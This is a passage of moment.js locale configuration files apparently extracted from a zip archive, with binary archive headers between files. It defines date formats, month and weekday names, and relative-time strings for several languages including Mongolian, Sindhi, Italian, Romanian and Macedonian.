        LLL : 'D. MMMM YYYY [kl.] H:mm',
        LLLL : 'dddd D. MMMM YYYY [kl.] HH:mm'
    },
    calendar : {
        sameDay: '[I dag klokka] LT',
        nextDay: '[I morgon klokka] LT',
        nextWeek: 'dddd [klokka] LT',
        lastDay: '[I går klokka] LT',
        lastWeek: '[Føregåande] dddd [klokka] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'om %s',
        past : '%s sidan',
        s : 'nokre sekund',
        ss : '%d sekund',
        m : 'eit minutt',
        mm : '%d minutt',
        h : 'ein time',
        hh : '%d timar',
        d : 'ein dag',
        dd : '%d dagar',
        M : 'ein månad',
        MM : '%d månader',
        y : 'eit år',
        yy : '%d år'
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\
`?8�
�
locale/mn.jsnu�[���//! moment.js locale configuration
//! locale : Mongolian [mn]
//! author : Javkhlantugs Nyamdorj : https://github.com/javkhaanj7

import moment from '../moment';

function translate(number, withoutSuffix, key, isFuture) {
    switch (key) {
        case 's':
            return withoutSuffix ? 'хэдхэн секунд' : 'хэдхэн секундын';
        case 'ss':
            return number + (withoutSuffix ? ' секунд' : ' секундын');
        case 'm':
        case 'mm':
            return number + (withoutSuffix ? ' минут' : ' минутын');
        case 'h':
        case 'hh':
            return number + (withoutSuffix ? ' цаг' : ' цагийн');
        case 'd':
        case 'dd':
            return number + (withoutSuffix ? ' өдөр' : ' өдрийн');
        case 'M':
        case 'MM':
            return number + (withoutSuffix ? ' сар' : ' сарын');
        case 'y':
        case 'yy':
            return number + (withoutSuffix ? ' жил' : ' жилийн');
        default:
            return number;
    }
}

export default moment.defineLocale('mn', {
    months : 'Нэгдүгээр сар_Хоёрдугаар сар_Гуравдугаар сар_Дөрөвдүгээр сар_Тавдугаар сар_Зургадугаар сар_Долдугаар сар_Наймдугаар сар_Есдүгээр сар_Аравдугаар сар_Арван нэгдүгээр сар_Арван хоёрдугаар сар'.split('_'),
    monthsShort : '1 сар_2 сар_3 сар_4 сар_5 сар_6 сар_7 сар_8 сар_9 сар_10 сар_11 сар_12 сар'.split('_'),
    monthsParseExact : true,
    weekdays : 'Ням_Даваа_Мягмар_Лхагва_Пүрэв_Баасан_Бямба'.split('_'),
    weekdaysShort : 'Ням_Дав_Мяг_Лха_Пүр_Баа_Бям'.split('_'),
    weekdaysMin : 'Ня_Да_Мя_Лх_Пү_Ба_Бя'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'YYYY-MM-DD',
        LL : 'YYYY оны MMMMын D',
        LLL : 'YYYY оны MMMMын D HH:mm',
        LLLL : 'dddd, YYYY оны MMMMын D HH:mm'
    },
    meridiemParse: /ҮӨ|ҮХ/i,
    isPM : function (input) {
        return input === 'ҮХ';
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 12) {
            return 'ҮӨ';
        } else {
            return 'ҮХ';
        }
    },
    calendar : {
        sameDay : '[Өнөөдөр] LT',
        nextDay : '[Маргааш] LT',
        nextWeek : '[Ирэх] dddd LT',
        lastDay : '[Өчигдөр] LT',
        lastWeek : '[Өнгөрсөн] dddd LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s дараа',
        past : '%s өмнө',
        s : translate,
        ss : translate,
        m : translate,
        mm : translate,
        h : translate,
        hh : translate,
        d : translate,
        dd : translate,
        M : translate,
        MM : translate,
        y : translate,
        yy : translate
    },
    dayOfMonthOrdinalParse: /\d{1,2} өдөр/,
    ordinal : function (number, period) {
        switch (period) {
            case 'd':
            case 'D':
            case 'DDD':
                return number + ' өдөр';
            default:
                return number;
        }
    }
});

PK.��\x�F��locale/sd.jsnu�[���//! moment.js locale configuration
//! locale : Sindhi [sd]
//! author : Narain Sagar : https://github.com/narainsagar

import moment from '../moment';

var months = [
    'جنوري',
    'فيبروري',
    'مارچ',
    'اپريل',
    'مئي',
    'جون',
    'جولاءِ',
    'آگسٽ',
    'سيپٽمبر',
    'آڪٽوبر',
    'نومبر',
    'ڊسمبر'
];
var days = [
    'آچر',
    'سومر',
    'اڱارو',
    'اربع',
    'خميس',
    'جمع',
    'ڇنڇر'
];

export default moment.defineLocale('sd', {
    months : months,
    monthsShort : months,
    weekdays : days,
    weekdaysShort : days,
    weekdaysMin : days,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd، D MMMM YYYY HH:mm'
    },
    meridiemParse: /صبح|شام/,
    isPM : function (input) {
        return 'شام' === input;
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 12) {
            return 'صبح';
        }
        return 'شام';
    },
    calendar : {
        sameDay : '[اڄ] LT',
        nextDay : '[سڀاڻي] LT',
        nextWeek : 'dddd [اڳين هفتي تي] LT',
        lastDay : '[ڪالهه] LT',
        lastWeek : '[گزريل هفتي] dddd [تي] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s پوء',
        past : '%s اڳ',
        s : 'چند سيڪنڊ',
        ss : '%d سيڪنڊ',
        m : 'هڪ منٽ',
        mm : '%d منٽ',
        h : 'هڪ ڪلاڪ',
        hh : '%d ڪلاڪ',
        d : 'هڪ ڏينهن',
        dd : '%d ڏينهن',
        M : 'هڪ مهينو',
        MM : '%d مهينا',
        y : 'هڪ سال',
        yy : '%d سال'
    },
    preparse: function (string) {
        return string.replace(/،/g, ',');
    },
    postformat: function (string) {
        return string.replace(/,/g, '،');
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\}�ɗ��locale/pt.jsnu�[���//! moment.js locale configuration
//! locale : Portuguese [pt]
//! author : Jefferson : https://github.com/jalex79

import moment from '../moment';

export default moment.defineLocale('pt', {
    months : 'janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro'.split('_'),
    monthsShort : 'jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez'.split('_'),
    weekdays : 'Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado'.split('_'),
    weekdaysShort : 'Dom_Seg_Ter_Qua_Qui_Sex_Sáb'.split('_'),
    weekdaysMin : 'Do_2ª_3ª_4ª_5ª_6ª_Sá'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D [de] MMMM [de] YYYY',
        LLL : 'D [de] MMMM [de] YYYY HH:mm',
        LLLL : 'dddd, D [de] MMMM [de] YYYY HH:mm'
    },
    calendar : {
        sameDay: '[Hoje às] LT',
        nextDay: '[Amanhã às] LT',
        nextWeek: 'dddd [às] LT',
        lastDay: '[Ontem às] LT',
        lastWeek: function () {
            return (this.day() === 0 || this.day() === 6) ?
                '[Último] dddd [às] LT' : // Saturday + Sunday
                '[Última] dddd [às] LT'; // Monday - Friday
        },
        sameElse: 'L'
    },
    relativeTime : {
        future : 'em %s',
        past : 'há %s',
        s : 'segundos',
        ss : '%d segundos',
        m : 'um minuto',
        mm : '%d minutos',
        h : 'uma hora',
        hh : '%d horas',
        d : 'um dia',
        dd : '%d dias',
        M : 'um mês',
        MM : '%d meses',
        y : 'um ano',
        yy : '%d anos'
    },
    dayOfMonthOrdinalParse: /\d{1,2}º/,
    ordinal : '%dº',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\��locale/it.jsnu�[���//! moment.js locale configuration
//! locale : Italian [it]
//! author : Lorenzo : https://github.com/aliem
//! author: Mattia Larentis: https://github.com/nostalgiaz

import moment from '../moment';

export default moment.defineLocale('it', {
    months : 'gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre'.split('_'),
    monthsShort : 'gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic'.split('_'),
    weekdays : 'domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato'.split('_'),
    weekdaysShort : 'dom_lun_mar_mer_gio_ven_sab'.split('_'),
    weekdaysMin : 'do_lu_ma_me_gi_ve_sa'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[Oggi alle] LT',
        nextDay: '[Domani alle] LT',
        nextWeek: 'dddd [alle] LT',
        lastDay: '[Ieri alle] LT',
        lastWeek: function () {
            switch (this.day()) {
                case 0:
                    return '[la scorsa] dddd [alle] LT';
                default:
                    return '[lo scorso] dddd [alle] LT';
            }
        },
        sameElse: 'L'
    },
    relativeTime : {
        future : function (s) {
            return ((/^[0-9].+$/).test(s) ? 'tra' : 'in') + ' ' + s;
        },
        past : '%s fa',
        s : 'alcuni secondi',
        ss : '%d secondi',
        m : 'un minuto',
        mm : '%d minuti',
        h : 'un\'ora',
        hh : '%d ore',
        d : 'un giorno',
        dd : '%d giorni',
        M : 'un mese',
        MM : '%d mesi',
        y : 'un anno',
        yy : '%d anni'
    },
    dayOfMonthOrdinalParse : /\d{1,2}º/,
    ordinal: '%dº',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�1�\�	�	locale/id.jsnu�[���//! moment.js locale configuration
//! locale : Indonesian [id]
//! author : Mohammad Satrio Utomo : https://github.com/tyok
//! reference: http://id.wikisource.org/wiki/Pedoman_Umum_Ejaan_Bahasa_Indonesia_yang_Disempurnakan

import moment from '../moment';

export default moment.defineLocale('id', {
    months : 'Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_November_Desember'.split('_'),
    monthsShort : 'Jan_Feb_Mar_Apr_Mei_Jun_Jul_Agt_Sep_Okt_Nov_Des'.split('_'),
    weekdays : 'Minggu_Senin_Selasa_Rabu_Kamis_Jumat_Sabtu'.split('_'),
    weekdaysShort : 'Min_Sen_Sel_Rab_Kam_Jum_Sab'.split('_'),
    weekdaysMin : 'Mg_Sn_Sl_Rb_Km_Jm_Sb'.split('_'),
    longDateFormat : {
        LT : 'HH.mm',
        LTS : 'HH.mm.ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY [pukul] HH.mm',
        LLLL : 'dddd, D MMMM YYYY [pukul] HH.mm'
    },
    meridiemParse: /pagi|siang|sore|malam/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'pagi') {
            return hour;
        } else if (meridiem === 'siang') {
            return hour >= 11 ? hour : hour + 12;
        } else if (meridiem === 'sore' || meridiem === 'malam') {
            return hour + 12;
        }
    },
    meridiem : function (hours, minutes, isLower) {
        if (hours < 11) {
            return 'pagi';
        } else if (hours < 15) {
            return 'siang';
        } else if (hours < 19) {
            return 'sore';
        } else {
            return 'malam';
        }
    },
    calendar : {
        sameDay : '[Hari ini pukul] LT',
        nextDay : '[Besok pukul] LT',
        nextWeek : 'dddd [pukul] LT',
        lastDay : '[Kemarin pukul] LT',
        lastWeek : 'dddd [lalu pukul] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'dalam %s',
        past : '%s yang lalu',
        s : 'beberapa detik',
        ss : '%d detik',
        m : 'semenit',
        mm : '%d menit',
        h : 'sejam',
        hh : '%d jam',
        d : 'sehari',
        dd : '%d hari',
        M : 'sebulan',
        MM : '%d bulan',
        y : 'setahun',
        yy : '%d tahun'
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\�����locale/af.jsnu�[���//! moment.js locale configuration
//! locale : Afrikaans [af]
//! author : Werner Mollentze : https://github.com/wernerm

import moment from '../moment';

export default moment.defineLocale('af', {
    months : 'Januarie_Februarie_Maart_April_Mei_Junie_Julie_Augustus_September_Oktober_November_Desember'.split('_'),
    monthsShort : 'Jan_Feb_Mrt_Apr_Mei_Jun_Jul_Aug_Sep_Okt_Nov_Des'.split('_'),
    weekdays : 'Sondag_Maandag_Dinsdag_Woensdag_Donderdag_Vrydag_Saterdag'.split('_'),
    weekdaysShort : 'Son_Maa_Din_Woe_Don_Vry_Sat'.split('_'),
    weekdaysMin : 'So_Ma_Di_Wo_Do_Vr_Sa'.split('_'),
    meridiemParse: /vm|nm/i,
    isPM : function (input) {
        return /^nm$/i.test(input);
    },
    meridiem : function (hours, minutes, isLower) {
        if (hours < 12) {
            return isLower ? 'vm' : 'VM';
        } else {
            return isLower ? 'nm' : 'NM';
        }
    },
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Vandag om] LT',
        nextDay : '[Môre om] LT',
        nextWeek : 'dddd [om] LT',
        lastDay : '[Gister om] LT',
        lastWeek : '[Laas] dddd [om] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'oor %s',
        past : '%s gelede',
        s : '\'n paar sekondes',
        ss : '%d sekondes',
        m : '\'n minuut',
        mm : '%d minute',
        h : '\'n uur',
        hh : '%d ure',
        d : '\'n dag',
        dd : '%d dae',
        M : '\'n maand',
        MM : '%d maande',
        y : '\'n jaar',
        yy : '%d jaar'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/,
    ordinal : function (number) {
        return number + ((number === 1 || number === 8 || number >= 20) ? 'ste' : 'de'); // Thanks to Joris Röling : https://github.com/jjupiter
    },
    week : {
        dow : 1, // Maandag is die eerste dag van die week.
        doy : 4  // Die week wat die 4de Januarie bevat is die eerste week van die jaar.
    }
});
PK.��\�m���	�	locale/de-ch.jsnu�[���//! moment.js locale configuration
//! locale : German (Switzerland) [de-ch]
//! author : sschueller : https://github.com/sschueller

// based on: https://www.bk.admin.ch/dokumentation/sprachen/04915/05016/index.html?lang=de#

import moment from '../moment';

function processRelativeTime(number, withoutSuffix, key, isFuture) {
    var format = {
        'm': ['eine Minute', 'einer Minute'],
        'h': ['eine Stunde', 'einer Stunde'],
        'd': ['ein Tag', 'einem Tag'],
        'dd': [number + ' Tage', number + ' Tagen'],
        'M': ['ein Monat', 'einem Monat'],
        'MM': [number + ' Monate', number + ' Monaten'],
        'y': ['ein Jahr', 'einem Jahr'],
        'yy': [number + ' Jahre', number + ' Jahren']
    };
    return withoutSuffix ? format[key][0] : format[key][1];
}

export default moment.defineLocale('de-ch', {
    months : 'Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember'.split('_'),
    monthsShort : 'Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.'.split('_'),
    monthsParseExact : true,
    weekdays : 'Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag'.split('_'),
    weekdaysShort : 'So_Mo_Di_Mi_Do_Fr_Sa'.split('_'),
    weekdaysMin : 'So_Mo_Di_Mi_Do_Fr_Sa'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT: 'HH:mm',
        LTS: 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D. MMMM YYYY',
        LLL : 'D. MMMM YYYY HH:mm',
        LLLL : 'dddd, D. MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[heute um] LT [Uhr]',
        sameElse: 'L',
        nextDay: '[morgen um] LT [Uhr]',
        nextWeek: 'dddd [um] LT [Uhr]',
        lastDay: '[gestern um] LT [Uhr]',
        lastWeek: '[letzten] dddd [um] LT [Uhr]'
    },
    relativeTime : {
        future : 'in %s',
        past : 'vor %s',
        s : 'ein paar Sekunden',
        ss : '%d Sekunden',
        m : processRelativeTime,
        mm : '%d Minuten',
        h : processRelativeTime,
        hh : '%d Stunden',
        d : processRelativeTime,
        dd : processRelativeTime,
        M : processRelativeTime,
        MM : processRelativeTime,
        y : processRelativeTime,
        yy : processRelativeTime
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\��/q��locale/ro.jsnu�[���//! moment.js locale configuration
//! locale : Romanian [ro]
//! author : Vlad Gurdiga : https://github.com/gurdiga
//! author : Valentin Agachi : https://github.com/avaly

import moment from '../moment';

function relativeTimeWithPlural(number, withoutSuffix, key) {
    var format = {
            'ss': 'secunde',
            'mm': 'minute',
            'hh': 'ore',
            'dd': 'zile',
            'MM': 'luni',
            'yy': 'ani'
        },
        separator = ' ';
    if (number % 100 >= 20 || (number >= 100 && number % 100 === 0)) {
        separator = ' de ';
    }
    return number + separator + format[key];
}

export default moment.defineLocale('ro', {
    months : 'ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie'.split('_'),
    monthsShort : 'ian._febr._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.'.split('_'),
    monthsParseExact: true,
    weekdays : 'duminică_luni_marți_miercuri_joi_vineri_sâmbătă'.split('_'),
    weekdaysShort : 'Dum_Lun_Mar_Mie_Joi_Vin_Sâm'.split('_'),
    weekdaysMin : 'Du_Lu_Ma_Mi_Jo_Vi_Sâ'.split('_'),
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY H:mm',
        LLLL : 'dddd, D MMMM YYYY H:mm'
    },
    calendar : {
        sameDay: '[azi la] LT',
        nextDay: '[mâine la] LT',
        nextWeek: 'dddd [la] LT',
        lastDay: '[ieri la] LT',
        lastWeek: '[fosta] dddd [la] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'peste %s',
        past : '%s în urmă',
        s : 'câteva secunde',
        ss : relativeTimeWithPlural,
        m : 'un minut',
        mm : relativeTimeWithPlural,
        h : 'o oră',
        hh : relativeTimeWithPlural,
        d : 'o zi',
        dd : relativeTimeWithPlural,
        M : 'o lună',
        MM : relativeTimeWithPlural,
        y : 'un an',
        yy : relativeTimeWithPlural
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\dR�pplocale/fr-ca.jsnu�[���//! moment.js locale configuration
//! locale : French (Canada) [fr-ca]
//! author : Jonathan Abourbih : https://github.com/jonbca

import moment from '../moment';

export default moment.defineLocale('fr-ca', {
    months : 'janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre'.split('_'),
    monthsShort : 'janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.'.split('_'),
    monthsParseExact : true,
    weekdays : 'dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi'.split('_'),
    weekdaysShort : 'dim._lun._mar._mer._jeu._ven._sam.'.split('_'),
    weekdaysMin : 'di_lu_ma_me_je_ve_sa'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'YYYY-MM-DD',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[Aujourd’hui à] LT',
        nextDay : '[Demain à] LT',
        nextWeek : 'dddd [à] LT',
        lastDay : '[Hier à] LT',
        lastWeek : 'dddd [dernier à] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'dans %s',
        past : 'il y a %s',
        s : 'quelques secondes',
        ss : '%d secondes',
        m : 'une minute',
        mm : '%d minutes',
        h : 'une heure',
        hh : '%d heures',
        d : 'un jour',
        dd : '%d jours',
        M : 'un mois',
        MM : '%d mois',
        y : 'un an',
        yy : '%d ans'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(er|e)/,
    ordinal : function (number, period) {
        switch (period) {
            // Words with masculine grammatical gender: mois, trimestre, jour
            default:
            case 'M':
            case 'Q':
            case 'D':
            case 'DDD':
            case 'd':
                return number + (number === 1 ? 'er' : 'e');

            // Words with feminine grammatical gender: semaine
            case 'w':
            case 'W':
                return number + (number === 1 ? 're' : 'e');
        }
    }
});

PK.��\����locale/en-nz.jsnu�[���//! moment.js locale configuration
//! locale : English (New Zealand) [en-nz]
//! author : Luke McGregor : https://github.com/lukemcgregor

import moment from '../moment';

export default moment.defineLocale('en-nz', {
    months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'),
    monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'),
    weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'),
    weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'),
    weekdaysMin : 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'),
    longDateFormat : {
        LT : 'h:mm A',
        LTS : 'h:mm:ss A',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY h:mm A',
        LLLL : 'dddd, D MMMM YYYY h:mm A'
    },
    calendar : {
        sameDay : '[Today at] LT',
        nextDay : '[Tomorrow at] LT',
        nextWeek : 'dddd [at] LT',
        lastDay : '[Yesterday at] LT',
        lastWeek : '[Last] dddd [at] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'in %s',
        past : '%s ago',
        s : 'a few seconds',
        ss : '%d seconds',
        m : 'a minute',
        mm : '%d minutes',
        h : 'an hour',
        hh : '%d hours',
        d : 'a day',
        dd : '%d days',
        M : 'a month',
        MM : '%d months',
        y : 'a year',
        yy : '%d years'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/,
    ordinal : function (number) {
        var b = number % 10,
            output = (~~(number % 100 / 10) === 1) ? 'th' :
            (b === 1) ? 'st' :
            (b === 2) ? 'nd' :
            (b === 3) ? 'rd' : 'th';
        return number + output;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\�
j�locale/nl-be.jsnu�[���//! moment.js locale configuration
//! locale : Dutch (Belgium) [nl-be]
//! author : Joris Röling : https://github.com/jorisroling
//! author : Jacob Middag : https://github.com/middagj

import moment from '../moment';

var monthsShortWithDots = 'jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.'.split('_'),
    monthsShortWithoutDots = 'jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec'.split('_');

var monthsParse = [/^jan/i, /^feb/i, /^maart|mrt.?$/i, /^apr/i, /^mei$/i, /^jun[i.]?$/i, /^jul[i.]?$/i, /^aug/i, /^sep/i, /^okt/i, /^nov/i, /^dec/i];
var monthsRegex = /^(januari|februari|maart|april|mei|april|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i;

export default moment.defineLocale('nl-be', {
    months : 'januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december'.split('_'),
    monthsShort : function (m, format) {
        if (!m) {
            return monthsShortWithDots;
        } else if (/-MMM-/.test(format)) {
            return monthsShortWithoutDots[m.month()];
        } else {
            return monthsShortWithDots[m.month()];
        }
    },

    monthsRegex: monthsRegex,
    monthsShortRegex: monthsRegex,
    monthsStrictRegex: /^(januari|februari|maart|mei|ju[nl]i|april|augustus|september|oktober|november|december)/i,
    monthsShortStrictRegex: /^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i,

    monthsParse : monthsParse,
    longMonthsParse : monthsParse,
    shortMonthsParse : monthsParse,

    weekdays : 'zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag'.split('_'),
    weekdaysShort : 'zo._ma._di._wo._do._vr._za.'.split('_'),
    weekdaysMin : 'zo_ma_di_wo_do_vr_za'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[vandaag om] LT',
        nextDay: '[morgen om] LT',
        nextWeek: 'dddd [om] LT',
        lastDay: '[gisteren om] LT',
        lastWeek: '[afgelopen] dddd [om] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : 'over %s',
        past : '%s geleden',
        s : 'een paar seconden',
        ss : '%d seconden',
        m : 'één minuut',
        mm : '%d minuten',
        h : 'één uur',
        hh : '%d uur',
        d : 'één dag',
        dd : '%d dagen',
        M : 'één maand',
        MM : '%d maanden',
        y : 'één jaar',
        yy : '%d jaar'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/,
    ordinal : function (number) {
        return number + ((number === 1 || number === 8 || number >= 20) ? 'ste' : 'de');
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\6���locale/mk.jsnu�[���//! moment.js locale configuration
//! locale : Macedonian [mk]
//! author : Borislav Mickov : https://github.com/B0k0

import moment from '../moment';

export default moment.defineLocale('mk', {
    months : 'јануари_февруари_март_април_мај_јуни_јули_август_септември_октомври_ноември_декември'.split('_'),
    monthsShort : 'јан_фев_мар_апр_мај_јун_јул_авг_сеп_окт_ное_дек'.split('_'),
    weekdays : 'недела_понеделник_вторник_среда_четврток_петок_сабота'.split('_'),
    weekdaysShort : 'нед_пон_вто_сре_чет_пет_саб'.split('_'),
    weekdaysMin : 'нe_пo_вт_ср_че_пе_сa'.split('_'),
    longDateFormat : {
        LT : 'H:mm',
        LTS : 'H:mm:ss',
        L : 'D.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY H:mm',
        LLLL : 'dddd, D MMMM YYYY H:mm'
    },
    calendar : {
        sameDay : '[Денес во] LT',
        nextDay : '[Утре во] LT',
        nextWeek : '[Во] dddd [во] LT',
        lastDay : '[Вчера во] LT',
        lastWeek : function () {
            switch (this.day()) {
                case 0:
                case 3:
                case 6:
                    return '[Изминатата] dddd [во] LT';
                case 1:
                case 2:
                case 4:
                case 5:
                    return '[Изминатиот] dddd [во] LT';
            }
        },
        sameElse : 'L'
    },
    relativeTime : {
        future : 'после %s',
        past : 'пред %s',
        s : 'неколку секунди',
        ss : '%d секунди',
        m : 'минута',
        mm : '%d минути',
        h : 'час',
        hh : '%d часа',
        d : 'ден',
        dd : '%d дена',
        M : 'месец',
        MM : '%d месеци',
        y : 'година',
        yy : '%d години'
    },
    dayOfMonthOrdinalParse: /\d{1,2}-(ев|ен|ти|ви|ри|ми)/,
    ordinal : function (number) {
        var lastDigit = number % 10,
            last2Digits = number % 100;
        if (number === 0) {
            return number + '-ев';
        } else if (last2Digits === 0) {
            return number + '-ен';
        } else if (last2Digits > 10 && last2Digits < 20) {
            return number + '-ти';
        } else if (lastDigit === 1) {
            return number + '-ви';
        } else if (lastDigit === 2) {
            return number + '-ри';
        } else if (lastDigit === 7 || lastDigit === 8) {
            return number + '-ми';
        } else {
            return number + '-ти';
        }
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\
���;
;
locale/es-us.jsnu�[���//! moment.js locale configuration
//! locale : Spanish (United States) [es-us]
//! author : bustta : https://github.com/bustta

import moment from '../moment';

var monthsShortDot = 'ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.'.split('_'),
    monthsShort = 'ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic'.split('_');

export default moment.defineLocale('es-us', {
    months : 'enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre'.split('_'),
    monthsShort : function (m, format) {
        if (!m) {
            return monthsShortDot;
        } else if (/-MMM-/.test(format)) {
            return monthsShort[m.month()];
        } else {
            return monthsShortDot[m.month()];
        }
    },
    monthsParseExact : true,
    weekdays : 'domingo_lunes_martes_miércoles_jueves_viernes_sábado'.split('_'),
    weekdaysShort : 'dom._lun._mar._mié._jue._vie._sáb.'.split('_'),
    weekdaysMin : 'do_lu_ma_mi_ju_vi_sá'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'h:mm A',
        LTS : 'h:mm:ss A',
        L : 'MM/DD/YYYY',
        LL : 'MMMM [de] D [de] YYYY',
        LLL : 'MMMM [de] D [de] YYYY h:mm A',
        LLLL : 'dddd, MMMM [de] D [de] YYYY h:mm A'
    },
    calendar : {
        sameDay : function () {
            return '[hoy a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        nextDay : function () {
            return '[mañana a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        nextWeek : function () {
            return 'dddd [a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        lastDay : function () {
            return '[ayer a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        lastWeek : function () {
            return '[el] dddd [pasado a la' + ((this.hours() !== 1) ? 's' : '') + '] LT';
        },
        sameElse : 'L'
    },
